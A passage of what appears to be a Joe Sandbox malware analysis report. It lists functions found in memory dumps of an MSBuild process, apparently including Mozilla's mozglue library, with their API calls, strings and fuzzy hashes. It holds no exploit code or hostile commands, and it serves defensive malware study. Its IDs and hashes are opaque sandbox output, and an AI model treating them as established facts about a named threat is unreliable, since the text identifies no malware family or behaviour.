Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C4F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4F6D26

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4F6D73
free.MOZGLUE(00000000), ref: 6C4F6D80
CertGetNameStringW.CRYPT32 ref: 6C4F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4F6E34
CreateFileW.KERNEL32 ref: 6C4F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4F7103
free.MOZGLUE(00000000), ref: 6C4F7153
CloseHandle.KERNEL32(?), ref: 6C4F7176
__Init_thread_footer.LIBCMT ref: 6C4F7209
__Init_thread_footer.LIBCMT ref: 6C4F723A
__Init_thread_footer.LIBCMT ref: 6C4F726B
__Init_thread_footer.LIBCMT ref: 6C4F729C
__Init_thread_footer.LIBCMT ref: 6C4F72DC
__Init_thread_footer.LIBCMT ref: 6C4F730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4F73C2
VerSetConditionMask.NTDLL ref: 6C4F73F3
VerSetConditionMask.NTDLL ref: 6C4F73FF
VerSetConditionMask.NTDLL ref: 6C4F7406
VerSetConditionMask.NTDLL ref: 6C4F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4F741A
moz_xmalloc.MOZGLUE(?), ref: 6C4F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4F7598
free.MOZGLUE(00000000), ref: 6C4F75AC

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

Strings

(, xrefs: 6C4F768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C4F72C8
SHA256, xrefs: 6C4F6EC0
wintrust.dll, xrefs: 6C4F72CD

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: db91d41131f317104f4b7ca54b3a80e6355ce6fa554e6e067ccc0a4bddee0329
Instruction ID: bd7784350af1cd4c2a2baf289f1cd5ff095dfe3061c49d72e0651893bbe70641
Opcode Fuzzy Hash: db91d41131f317104f4b7ca54b3a80e6355ce6fa554e6e067ccc0a4bddee0329
Instruction Fuzzy Hash: 5B52C471E042149BEB21DF29CC84FAA77B8EF85718F114199E81897740DB74AF86CF91

Function 6C52F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52F09B

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C52F0AC

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C52F0BE

Part of subcall function 6C505C50: __aulldiv.LIBCMT ref: 6C505DB4
Part of subcall function 6C505C50: LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C52F155
GetCurrentThreadId.KERNEL32 ref: 6C52F1E0
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F1ED
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F212
GetCurrentThreadId.KERNEL32 ref: 6C52F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F248
GetCurrentThreadId.KERNEL32 ref: 6C52F2AE
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F2BB
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F2F8

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F350
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F35D
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F381
GetCurrentThreadId.KERNEL32 ref: 6C52F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F3A0
GetCurrentThreadId.KERNEL32 ref: 6C52F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F491

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F3CF

Part of subcall function 6C52F070: GetCurrentThreadId.KERNEL32 ref: 6C52F440
Part of subcall function 6C52F070: AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F44D
Part of subcall function 6C52F070: ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F4A8
GetCurrentThreadId.KERNEL32 ref: 6C52F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F561
GetCurrentThreadId.KERNEL32 ref: 6C52F577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F585
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C52F499
[I %d/%d] profiler_resume, xrefs: 6C52F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C52F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C52F56A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: f467775a218da9826da2d8ed423def446890731e16415414a44e6b1f9894fb2f
Instruction ID: 88bea51aafeadedda1a0875deaed08559f7812e0a6784d853efb29e5bd6eb5f1
Opcode Fuzzy Hash: f467775a218da9826da2d8ed423def446890731e16415414a44e6b1f9894fb2f
Instruction Fuzzy Hash: D1D1E631B04214DFDB00AB6EDC087B9B7F8EB86329F110719E95583FA1DB755808C7AA

Function 6C4F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F671C
GetCurrentProcess.KERNEL32 ref: 6C4F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4F672F
GetCurrentProcess.KERNEL32 ref: 6C4F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4F6A80
GetSystemInfo.KERNEL32(?), ref: 6C4F6ABE
__Init_thread_footer.LIBCMT ref: 6C4F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C4F6500
nvdxgiwrap.dll, xrefs: 6C4F6513
_etoured.dll, xrefs: 6C4F64ED
detoured.dll, xrefs: 6C4F64DA
user32.dll, xrefs: 6C4F6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4F6798

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 615eeb424df6bdac99e46969d5ddde14a81ed6380e8cd70305e882cf4f46235e
Instruction ID: 7cbd3c5fe51be0999c9253d3d300fb8bd02ae1f2a5e14f4eadc8615edcb6c876
Opcode Fuzzy Hash: 615eeb424df6bdac99e46969d5ddde14a81ed6380e8cd70305e882cf4f46235e
Instruction Fuzzy Hash: E2F1D270D052199FDB20CF25CC48FEAB7B5AF86319F144299E829A3751D731AE86CF90

Function 6C4F7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E744), ref: 6C4F7885
LeaveCriticalSection.KERNEL32(6C56E744), ref: 6C4F78A5
EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4F78AD
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4F78CD
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C4F78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4F78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4F795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4F79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4F7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4F7C82
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C4F7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4F7DAF

Strings

DVl, xrefs: 6C4F787F
DVl, xrefs: 6C4F789F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DVl$DVl
API String ID: 759993129-1560004407
Opcode ID: fd8b6a93cc213a3cf7fd77233199709366f8b1eb0d7d1500e5c898fab5658b47
Instruction ID: b350184c20e5a2c7b85922467f4cf8d5ad7c577f3c3b655983a85f66b1b9bc63
Opcode Fuzzy Hash: fd8b6a93cc213a3cf7fd77233199709366f8b1eb0d7d1500e5c898fab5658b47
Instruction Fuzzy Hash: A8029030A052198FDB54CF19C984F99B7B5FF88318F2582AAD819A7711D734BE92CF80

Function 6C527E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C527ECF, 6C528335
vVl, xrefs: 6C528207
(pre-xul), xrefs: 6C527E88
data, xrefs: 6C528280, 6C5283E1
schema, xrefs: 6C5281E3, 6C528311

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vVl
API String ID: 3412268980-2139544962
Opcode ID: cc8ce9c5bb901477bdc1cfb34215b1ede187010c8c1c58c0408698594fa7e06c
Instruction ID: 1e665c16705b290b60f395550bc00cee972943a72c5b8df097eb52a1bc4b4725
Opcode Fuzzy Hash: cc8ce9c5bb901477bdc1cfb34215b1ede187010c8c1c58c0408698594fa7e06c
Instruction Fuzzy Hash: 25E17EB2A043408BC710CF69CC40A6BFBE9BBC5314F558A2DE895D7790DBB4DD498B92

Function 6C50D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D4F2
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D50B

Part of subcall function 6C4ECFE0: EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
Part of subcall function 6C4ECFE0: LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D52E
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50D6A6
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D712
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C50D82C
<jemalloc>, xrefs: 6C50D827

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 28bfcf1807a6e98b34e4588d29ff1a36e819c17fa0c9305d62211e92026c3931
Instruction ID: d2247abd8d4d06a1c7ba9e181e029974ede8e8f756dc6a9a0db35cb879ec5de4
Opcode Fuzzy Hash: 28bfcf1807a6e98b34e4588d29ff1a36e819c17fa0c9305d62211e92026c3931
Instruction Fuzzy Hash: 5491AD71B057418FD714CF29CD9072AB7E1EB8A314F158A2EE59AC7B91E770A844CB82

Function 6C544EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C544EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C544F2E
moz_xmalloc.MOZGLUE ref: 6C544F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C544F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5452E6
Sleep.KERNEL32(00000010), ref: 6C545481
free.MOZGLUE(?), ref: 6C545498

Strings

(, xrefs: 6C545250

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2d1900be8778e5efa5005621d0b440ba13509f92f4fadcc3f1b46464548616cc
Instruction ID: d12c54db57b861c3a59386fce41f00e0c99833e890a825efa5a1d2586647096c
Opcode Fuzzy Hash: 2d1900be8778e5efa5005621d0b440ba13509f92f4fadcc3f1b46464548616cc
Instruction Fuzzy Hash: 96F1C272A19B008FC716CF39C85062BB7F5AFD6394F46872EF846A7651DB319842CB81

Function 6C525190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5251DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C52529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C5252FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C52536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5253F7

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C5256C3
__Init_thread_footer.LIBCMT ref: 6C5256E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C5256BE

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: d33044a93277045b1021afae448ba7bd62e7bda556b2a44f864640a775caf4ac
Instruction ID: 12e966c6a4c527024603386404797fe5c4b264c09bb34c75dd5ab48a0ed59f35
Opcode Fuzzy Hash: d33044a93277045b1021afae448ba7bd62e7bda556b2a44f864640a775caf4ac
Instruction Fuzzy Hash: 8BE1A072914F45CAC712CF398C50267B3F9BF9B394F519B0EE8AA2A991DF30E4468741

Function 6C547030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C547046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C547060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C54707E

Part of subcall function 6C4F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4F81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C547096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C54709C
LocalFree.KERNEL32(?), ref: 6C5470AA

Strings

### ERROR: %s: %s, xrefs: 6C547087
(null), xrefs: 6C54706A, 6C547083

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

